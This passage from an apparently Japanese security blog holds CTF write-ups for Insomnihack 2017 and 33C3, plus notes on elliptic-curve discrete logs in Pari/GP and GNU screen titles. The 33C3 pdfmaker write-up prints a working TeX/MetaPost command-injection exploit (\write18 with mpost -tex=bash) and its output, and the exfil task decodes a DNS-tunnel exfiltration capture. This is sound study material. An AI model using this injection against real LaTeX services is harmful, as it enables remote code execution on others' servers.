> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 66
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 66 out of 66 bytes
< HTTP/1.1 200 OK
< Date: Sun, 22 Jan 2017 08:41:27 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 91
< Connection: keep-alive
< Server: Apache/2.4.18 (Ubuntu)
< Vary: User-Agent,Accept-Encoding
<
We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}
* Connection #0 to host smarttomcat.teaser.insomnihack.ch left intact

The Great Escape - part 1 (Forensics 50)

pcapng形式のパケットキャプチャファイルが与えられる。 Wiresharkで開くと、FTPでssc.keyというファイル名で秘密鍵が転送されていることがわかる。

$ strings -n8 TheGreatEscape-3859f9ed7682e1857aaa4f2bcb5867ea6fe88c74.pcapng | awk '/-----BEGIN PRIVATE KEY-----/,/-----END PRIVATE KEY-----/'
-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q
uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8
WAuGLntO5xTEmOJlMtBFrWGD+DVpCE9KORGvyif8e4xxi6vh4mkW78IxV03VxHM0
mk/cq5kkERfWQW81pVeYm9UAm4dj+LcCwQ9aGd/vfTtcACqS5OGtELFbsHJuFVyn
(snip)
-----END PRIVATE KEY-----
(snip)

この鍵がssc.teaser.insomnihack.chのサーバ鍵であると推測し、Wireshark52.214.142.175, 443, httpでssc.keyを追加してHTTPS通信の復号を試みたところ復号できた。 ログイン後のHTTPヘッダにフラグがある。

Frame 2236: 646 bytes on wire (5168 bits), 646 bytes captured (5168 bits) on interface 0
Linux cooked capture
Internet Protocol Version 4, Src: 172.31.36.141, Dst: 52.214.142.175
Transmission Control Protocol, Src Port: 51398, Dst Port: 443, Seq: 569, Ack: 153, Len: 578
Secure Sockets Layer
[2 Reassembled SSL segments (523 bytes): #2236(1), #2236(522)]
Hypertext Transfer Protocol
    POST /api/user.php HTTP/1.1\r\n
    Host: ssc.teaser.insomnihack.ch\r\n
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
    Accept: application/json, text/plain, */*\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Referer: https://ssc.teaser.insomnihack.ch/login\r\n
    Content-Length: 38\r\n
    Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3\r\n
    FLAG: INS{OkThatWasWay2Easy}\r\n
    Connection: keep-alive\r\n
    \r\n
    [Full request URI: https://ssc.teaser.insomnihack.ch/api/user.php]
    [HTTP request 1/6]
    [Response in frame: 2247]
    [Next request in frame: 2248]
    File Data: 38 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "action" = "login"
    Form item: "name" = "rogue"
    Form item: "password" = "rogue"

所感

50pt問題しか解くことができず厳しかった。 他に解きたかった問題は以下。

  • The Great Escape - part 2 (Web 200)
  • Shobot (Web 200)
  • mindreader (Mobile 250)

Pari/GPで楕円曲線離散対数を計算してみる

「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」では、数式処理システムPari/GPを使ってECDH鍵交換、ECDSA署名の計算を行った。 これらの楕円曲線暗号は、楕円曲線離散対数問題(ECDLP)と呼ばれる問題が計算量的に困難であることを安全性の根拠としている。 ここでは、実際にbit数の小さな楕円曲線に対して楕円曲線離散対数を計算し、簡単に解けるbit数がどのくらいか調べてみる。

環境

Ubuntu 16.04.1 LTS 64bit版、Pari/GP 2.7.5、Intel Core i5-4200U (1.6GHz * 2 * 2)

$ uname -a
Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ gp --version-short
2.7.5

$ grep "processor\|model name" /proc/cpuinfo
processor       : 0
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 1
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 2
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 3
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz

楕円曲線離散対数問題(Elliptic Curve Discrete Logarithm Problem; ECDLP)

楕円曲線離散対数問題とは、有限体(mod p)上で定義した楕円曲線上の点G(生成元)と点Pについて、次の式を満たすnを求めるという問題である。

P = n * G

ここで、記号*楕円曲線におけるスカラー倍を表す。 通常の(mod p上での)離散対数が乗法群の上で定義されるのに対し、楕円曲線の場合は加法群の上で定義されるため、計算としてはスカラー倍ではあるがアナロジー的に離散対数と呼ばれる。

通常の離散対数問題と同様に、楕円曲線離散対数問題を効率的に解く方法は見つかっておらず、十分大きなpをとったときこの計算を現実的な時間で行うことは難しいとされている。 NISTによる等価安全性の評価では、160bitの楕円曲線離散対数問題が1024bitの素因数分解問題に相当するとされており、小さな数でより安全な暗号を構成することができる。

f:id:inaz2:20170120112505p:plain

Pari/GPにおける楕円曲線離散対数アルゴリズムの実装

Pari/GPでは、有限体上での楕円曲線に関するさまざまな関数が実装されており、離散対数はelllog関数で求めることができる。

ドキュメントには具体的な計算アルゴリズムが書かれていないため、その詳細をソースコードを追って調べると次のようになる。

6457 GEN
6458 elllog(GEN E, GEN a, GEN g, GEN o)
6459 {
6460   pari_sp av = avma;
6461   GEN fg, r;
6462   checkell_Fq(E); checkellpt(a); checkellpt(g);
6463   fg = ellff_get_field(E);
6464   if (!o) o = ellff_get_o(E);
6465   if (typ(fg)==t_FFELT)
6466     r = FF_elllog(E, a, g, o);
6467   else
6468   {
6469     GEN p = fg, e = ellff_get_a4a6(E);
6470     GEN Pp = FpE_changepointinv(RgE_to_FpE(a,p), gel(e,3), p);
6471     GEN Qp = FpE_changepointinv(RgE_to_FpE(g,p), gel(e,3), p);
6472     r = FpE_log(Pp, Qp, o, gel(e,1), p);
6473   }
6474   return gerepileuptoint(av, r);
6475 }
1426 GEN
1427 FF_elllog(GEN E, GEN P, GEN Q, GEN o)
1428 {
1429   pari_sp av = avma;
1430   GEN fg = ellff_get_field(E), e = ellff_get_a4a6(E);
1431   GEN r,T,p, Pp,Qp, e3;
1432   ulong pp;
1433   _getFF(fg,&T,&p,&pp);
1434   switch(fg[1])
1435   {
1436   case t_FF_FpXQ:
1437     e3 = FqV_to_FpXQV(gel(e,3),T);
1438     Pp = FpXQE_changepointinv(RgE_to_FpXQE(P,T,p), e3, T, p);
1439     Qp = FpXQE_changepointinv(RgE_to_FpXQE(Q,T,p), e3, T, p);
1440     r = FpXQE_log(Pp, Qp, o, gel(e,1), T, p);
1441     break;
1442   case t_FF_F2xq:
1443     Pp = F2xqE_changepointinv(RgE_to_F2xqE(P,T), gel(e,3), T);
1444     Qp = F2xqE_changepointinv(RgE_to_F2xqE(Q,T), gel(e,3), T);
1445     r = F2xqE_log(Pp, Qp, o, gel(e,1), T);
1446     break;
1447   default:
1448     Pp = FlxqE_changepointinv(RgE_to_FlxqE(P,T,pp), gel(e,3), T, pp);
1449     Qp = FlxqE_changepointinv(RgE_to_FlxqE(Q,T,pp), gel(e,3), T, pp);
1450     r = FlxqE_log(Pp, Qp, o, gel(e,1), T, pp);
1451   }
1452   return gerepileupto(av, r);
1453 }
1516 GEN
1517 FpXQE_log(GEN a, GEN b, GEN o, GEN a4, GEN T, GEN p)
1518 {
1519   pari_sp av = avma;
1520   struct _FpXQE e;
1521   e.a4=a4; e.T=T; e.p=p;
1522   return gerepileuptoint(av, gen_PH_log(a, b, o, (void*)&e, &FpXQE_group));
1523 }
 577 /* grp->easylog() is an optional trapdoor function that catch easy logarithms*/
 578 /* Generic Pohlig-Hellman discrete logarithm*/
 579 /* smallest integer n such that g^n=a. Assume g has order ord */
 580 GEN
 581 gen_PH_log(GEN a, GEN g, GEN ord, void *E, const struct bb_group *grp)
 582 {
 ...
 602   for (i=1; i<l; i++)
 603   {
 ...
 623     for (j=0;; j++)
 624     { /* n_q = sum_{i<j} b_i q^i */
 625       b = grp->pow(E,a0, gel(qj,e-j));
 626       /* early abort: cheap and very effective */
 627       if (j == 0 && !grp->equal1(grp->pow(E,b,q))) {
 628         avma = av; return cgetg(1, t_VEC);
 629       }
 630       b = gen_plog(b, g_q, q, E, grp);
 631       if (typ(b) != t_INT) { avma = av; return cgetg(1, t_VEC); }
 632       n_q = addii(n_q, mulii(b, gel(qj,j)));
 633       if (j == e) break;
 634
 635       a0 = grp->mul(E,a0, grp->pow(E,ginv0, b));
 636       ginv0 = grp->pow(E,ginv0, q);
 637     }
 638     gel(v,i) = mkintmod(n_q, gel(qj,e+1));
 639   }
 640   return gerepileuptoint(av, lift(chinese1_coprime_Z(v)));
 641 }
 520 /*Generic discrete logarithme in a group of prime order p*/
 521 GEN
 522 gen_plog(GEN x, GEN g, GEN p, void *E, const struct bb_group *grp)
 523 {
 524   if (grp->easylog)
 525   {
 526     GEN e = grp->easylog(E, x, g, p);
 527     if (e) return e;
 528   }
 529   if (grp->equal1(x)) return gen_0;
 530   if (grp->equal(x,g)) return gen_1;
 531   if (expi(p)<32) return gen_Shanks_log(x,g,p,E,grp);
 532   return gen_Pollard_log(x, g, p, E, grp);
 533 }

要約すると次のようになる。

Pohlig-Hellmanアルゴリズムは、中国の剰余定理を使って計算を高速化するものである。 RSAにおける中国の剰余定理の利用をイメージすると理解しやすい。

Pari/GPで楕円曲線離散対数を計算してみる

ここでは、楕円曲線として次の曲線を考える。

f:id:inaz2:20170120163449p:plain (from Wikimedia Commons)

32 bitの素数pをとって計算してみると次のようになる。

$ gp -q
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^32)));
? factor(E.no)

[    2 4]

[    7 1]

[  587 1]

[65327 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 0 ms.

ここで、E.no楕円曲線の位数、E.genはその位数となる生成元を意味する。 上の結果から、正しく楕円曲線離散対数が計算できていることがわかる。

続けて、bit数を徐々に大きくして計算してみる。

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^64)));
? factor(E.no)

[            2 3]

[       324301 1]

[7110193951261 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 40,868 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^72)));
? factor(E.no)

[              2 1]

[              3 3]

[             13 1]

[             37 1]

[           1181 1]

[153946902119671 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 40,652 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^80)));
? factor(E.no)

[                2 2]

[                3 1]

[               11 1]

[               31 1]

[            25111 1]

[11765219119332439 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 6min, 3,176 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^88)));
? factor(E.no)

[              3 2]

[    63445780987 1]

[541993853311213 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 10,601 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^96)));
? factor(E.no)

[                2 4]

[                5 2]

[                7 2]

[               79 1]

[          4227397 1]

[12103845910958041 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 14min, 24,428 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^104)));
? factor(E.no)

[               2 1]

[               5 1]

[              53 1]

[              83 1]

[    209236176689 1]

[2203579946128079 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 5min, 42,409 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^112)));
? factor(E.no)

[                   3 2]

[                  67 1]

[        214901400149 1]

[40068488248358139191 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
^C  ***   at top-level: elllog(E,P,G)
  ***                 ^-------------
  *** elllog: user interrupt after 6h, 41min, 47,320 ms
  ***   Break loop: <Return> to continue; 'break' to go back to GP prompt
break>

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^120)));
? factor(E.no)

[             3 2]

[            89 1]

[          1847 1]

[        381347 1]

[   31639547057 1]

[74464534048783 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 21,056 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^128)));
? factor(E.no)

[                3 1]

[               41 1]

[       3411655459 1]

[      22003545559 1]

[36853310066369891 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 28min, 969 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^136)));
? factor(E.no)

[                              3 2]

[                              7 1]

[                             43 1]

[                        5375779 1]

[5981760200359529611202066470309 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^144)));
? factor(E.no)

[                                          2 2]

[5575186299632655785385137905034729488784923 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^152)));
? factor(E.no)

[                           3 2]

[           99007815273500183 1]

[6406891275370833771228590437 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^160)));
? factor(E.no)

[                                      3 1]

[                             1381217941 1]

[352708430713639496569423242667877661011 1]

?

パラメータである素数pを基準に考えると、128bitが約30分で解けていることがわかる。 ただし、Pohlig-Hellmanアルゴリズムの原理からわかるように、実際の計算量に影響するのは位数の素因数のうち最大のものである。 これを考慮すると、56bitが約30分で解けている一方、66bitでは6時間以上の時間がかかることがわかる。

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len(bin(36853310066369891)[2:])
56
>>> len(bin(40068488248358139191)[2:])
66

以上からわかるように、安全な楕円曲線パラメータの条件のひとつとして、生成元Gに対する位数の最大素因数が大きい(理想的には位数が素数となる)ことがいえる。 実際に、「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」で用いた楕円曲線パラメータsecp256r1の位数は256 bitの素数となっている。

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
>>> n
115792089210356248762697446949407573529996955224135760342422259061068512044369L
>>> len(bin(n)[2:])
256

$ gp -q
? factor(115792089210356248762697446949407573529996955224135760342422259061068512044369)

[115792089210356248762697446949407573529996955224135760342422259061068512044369 1]

関連リンク

screenのウィンドウタイトルをいい感じに自動変更する方法のメモ

GNU Screenでウィンドウタイトルを

に自動変更し、非アクティブウィンドウでコマンドが終了した際にハイライトさせる方法のメモ。

ここでは、次のようにscreenrcに書いておくことで、常に各ウィンドウのタイトルが表示されている状態を想定する。

hardstatus alwayslastline "%{=r dd}%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%<"

また、シェルとしてbashを想定する。

Dynamic Titlesを使う

screenでは、適当なオプションとシェルのプロンプト文字列(PS1)を設定することで

  • 普段はシェル名などの固定文字列
  • コマンド実行中はコマンド名

をタイトルに自動設定することができる。

具体的には、screenrcに次のようなコマンドを書いておく。

shelltitle "$ |bash"

|より前はプロンプト文字列の末尾、後ろはデフォルト文字列を意味する。

次に、シェルの設定ファイル(bashrc等)でプロンプト文字列を次のような感じに設定する。

PS1='\u@\h:\w\[\033k\033\134\]\$ '

\033k\033\134の部分がscreenで空のタイトル文字列を設定するシーケンスになっており、screenはこれをシグナルとしてプロンプト文字列の終端とコマンド名を判別する。 また、\[...\]は囲まれた文字列を表示上の文字数としてカウントしないことを意味する。

標準でカレントディレクトリのディレクトリ名を使う

上の方法である程度自動変更できるが、普段のウィンドウタイトルがすべてbash等の固定文字列となるため、いまいち区別が付けづらい。 そこで、デフォルト文字列をディレクトリ名に変えることを考える。 これを行うには、空のタイトル文字列を設定した直後に適当なタイトル文字列で上書きすればよい。

PS1='\u@\h:\w\[\033k\033\134\033k\W\033\134\]\$ '

\Wはカレントディレクトリのディレクトリ名を表す。

SSHしているウィンドウのタイトルをリモートホスト名にする

さらに、リモートサーバにSSHログインしているウィンドウのタイトルをそのホストのホスト名に変えることを考える。 これを行うには、環境変数STYの有無で分岐させればよい。

case "$TERM" in
     screen*)
         if [[ -z "$STY" ]]; then
             # if the shell is on the remote server, display hostname
             __set_screen_title='\[\033k[\h]\033\134\]'
         else
             # otherwise, display command name or directory name
             __set_screen_title='\[\033k\033\134\033k\W\033\134\]'
         fi
         ;;
esac

PS1="\u@\h:\w\${__set_screen_title}\\$ "

こうすることで、(自分のbashrcが使える)リモートサーバにログインしているウィンドウのタイトルを[hostname]のように変えることができる。

非アクティブウィンドウでコマンドが終了したときに通知する

非アクティブウィンドウで時間のかかるコマンドを実行している際、終了時にそれを通知させることを考える。 これを行うには、プロンプト文字列にベル文字を含めればよい。

PS1="\[\a\]\u@\h:\w\${__set_screen_title}\\$ "

このようにすることで、コマンド終了時にそのウィンドウのタイトルをハイライト表示させることができる。

完成図

すべて設定すると、次の図のようになる。

f:id:inaz2:20170114001215p:plain

0はSSH中のリモートサーバ、1はtopコマンド実行中、2はコマンド終了直後のホームディレクトリ、3は/tmpディレクトリである。

33C3 CTF 供養(Writeup)

33C3 CTFに参加。325ptで140位。

pdfmaker (misc 75)

接続すると、適当なTeXファイルをコンパイルできそうなことがわかる。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> help
 Available commands: ?, help, create, show, compile.
 Type 'help COMMAND' to get information about the specific command.
> help create
 Create a file. Syntax: create TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
 The created file will have the name NAME.TYPE
> help show
 Shows the content of a file. Syntax: show TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
> help compile
 Compiles a tex file with the help of pdflatex. Syntax: compile NAME
 NAME: name of the file (without type ending)

つい先月、細工したTeXファイルをコンパイルさせることで任意のコマンドが実行できるという記事が出ていたので、それを試してみるとフラグが得られた。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> create mp x
File created. Type the content now and finish it by sending a line containing only '\q'.
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
Written to x.mp.
> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.

No file x.aux.
(./x.aux) )
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:48 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:48 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:48 mpJJ7pdo.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  130 Dec 28 03:48 x.tex

> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al;cat${IFS}33C320CBD460FB4030)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) (./x.aux)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.
 (./x.aux)
)
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:49 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:49 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:49 mp9opGQm.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  158 Dec 28 03:49 x.tex
33C3_pdflatex_1s_t0t4lly_s3cur3!
> exit

exfil (Forensics 100)

pcapファイルとサーバスクリプトが与えられる。 pcapファイルの内容は複数回のDNS通信になっており、サブドメイン名でデータをやりとりしていそうなことがわかる。

とりあえず、tsharkを使ってpcapファイルの内容をテキストファイルに書き出す。

$ tshark -r dump.pcap >dump.txt

$ head dump.txt
  1   0.000000 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  2   0.002197  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  3   0.203334 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  4   0.204610  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  5   0.405026 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  6   0.406228  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  7   0.613703 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  8   0.614944  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  9   0.821849 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de
 10   0.823065  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de

次に、サーバスクリプトを参考に、標準入力からサブドメインを抜き出してデコードするスクリプトを書く。

import sys
import re
import base64

def decode_b32(s):
    s = s.upper()
    for i in range(10):
        try:
            return base64.b32decode(s)
        except:
            s += b'='
    raise ValueError('Invalid base32')

lastdata = None
for line in sys.stdin:
    m = re.search(r'([\w.]+)\.eat-sleep-pwn-repeat\.de', line)
    if not m:
        continue
    data = m.group(1).replace('.', '')
    if data == lastdata:
        continue
    lastdata = data
    data = decode_b32(data)[6:]
    if data:
        print repr(data)

リクエスト、レスポンスそれぞれに上のスクリプトを適用すると、GPG鍵を書き出した後secret.docxを暗号化していることがわかる。

$ grep -v CNAME dump.txt | python test.py >request.txt

$ head request.txt
'uid=1001(fpetry) gid=1001(fpetry) groups=1001(fpetry)\n'
'total 36K\n2624184 drwxr-xr-x 2 fpetry fpetry 4.0K Dec 17 13:30 .\n2621441 drwxr-xr-x 5 root   root   4.0K Dec 17 13:06 ..\n263'
'1209 -rw------- 1 fpetry fpetry   42 Dec 17 13:07 .bash_history\n2627663 -rw-r--r-- 1 fpetry fpetry  220 Dec 17 13:06 .bash_l'
'ogout\n2631208 -rw-r--r-- 1 fpetry fpetry 3.7K Dec 17 13:06 .bashrc\n2631221 -rw------- 1 fpetry fpetry   33 Dec 17 13:24 .les'
'shst\n2627664 -rw-r--r-- 1 fpetry fpetry  675 Dec 17 13:06 .profile\n2631216 -rw-r--r-- 1 fpetry fpetry 4.0K Dec 17 13:17 secr'
'et.docx\n2631218 -rw------- 1 fpetry fpetry  908 Dec 17 13:21 .viminfo\n'
"gpg: directory `/home/fpetry/.gnupg' created\ngpg: new configuration file `/home/fpetry/.gnupg/gpg.conf' created\ngpg: WARNING"
": options in `/home/fpetry/.gnupg/gpg.conf' are not yet active during this run\ngpg: keyring `/home/fpetry/.gnupg/secring.gpg"
"' created\ngpg: keyring `/home/fpetry/.gnupg/pubring.gpg' created\ngpg: /home/fpetry/.gnupg/trustdb.gpg: trustdb created\ngpg: "
'key D0D8161F: public key "operator from hell <team@kitctf.de>" imported\ngpg: key D0D8161F: secret key imported\ngpg: key D0D8'

$ grep -oE 'CNAME.*' dump.txt | python test.py >response.txt

$ head response.txt
'id\n'
'ls -alih\n'
'cat > key << EOF\n'
'-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBFhNxEIBCACokqjLjvpwnm/lCdKTnT/vFqnohml2xZo/WiMAr4h3CdTal4yf\nCBbYeZYXI4S9RNVl3+5j2'
'h2yCssQ5S4ydWV2oy550qqh7K41u78L4FcT4lwgdbhD\ngHyRdiHpqZ15JIdHQBm1Tc4ZQNKiRmzgDZqroa/YfkGi7l35BDGId9VjwttZg6y4\n4I4j0NwnSdkhx3j'
'e+YUhDRSXXw55jhLsCqEVUaBpl4T3y93QkbxSEupPOQZ2TBNJ\nHv454UDToUU9SwgkhARivA7dMV43RR21hyUdFAuRcVXzEZCS1nsF7nE9sgVGZ6fs\nBXeU/oPF6'
'o86TqgPkBKrwYk2XTA3pf1DgVyvABEBAAG0I29wZXJhdG9yIGZyb20g\naGVsbCA8dGVhbUBraXRjdGYuZGU+iQFOBBMBCAA4FiEE0Rl3XS1+y7q+DPr51DzA\nYtD'
'YFh8FAlhNxEICGwMFCwkIBwIGFQgJCgsCBBYCAwECHgECF4AACgkQ1DzAYtDY\nFh/FoQgAj5df/QfWefsQrMkGEH38prNfPXRN8+G2gJbjYj2fliKvwqiOAiX7At'
'oQ\ntxlwU45eVCRwSq41uLBOhNiNDKlo62Rlz5d7ZCRd0hoewPpH+gMVrsUBym3WNy6k\nkvHBelOWOTqDSEW/BWyhk+UTDnMb1M0LP/NpcDHbYvR/KQhaP2N1SRz9'
'Ye05Xs/B\nDRT+lzFnXstgXsPrOOXV1J4924IfbwGRamx0N4aDzEUqkN80PfwTjaCWdrz0Cgym\nBYVZOpHKuoDS/IK6/jxo4Q5N+BlAkN+9a7VeofbSor4X5Whrcr'

上の出力からそれぞれのファイルを抜き出し、復号するとフラグが得られた。

$ sha1sum secret.docx.gpg key
700216568a3819f12808bf7fffd108a0aa36acca  secret.docx.gpg
6c5309445f7857fd66b8c88128d550f8bf4c5263  key

$ gpg --import key
gpg: directory `/home/user/.gnupg' created
gpg: new configuration file `/home/user/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/user/.gnupg/secring.gpg' created
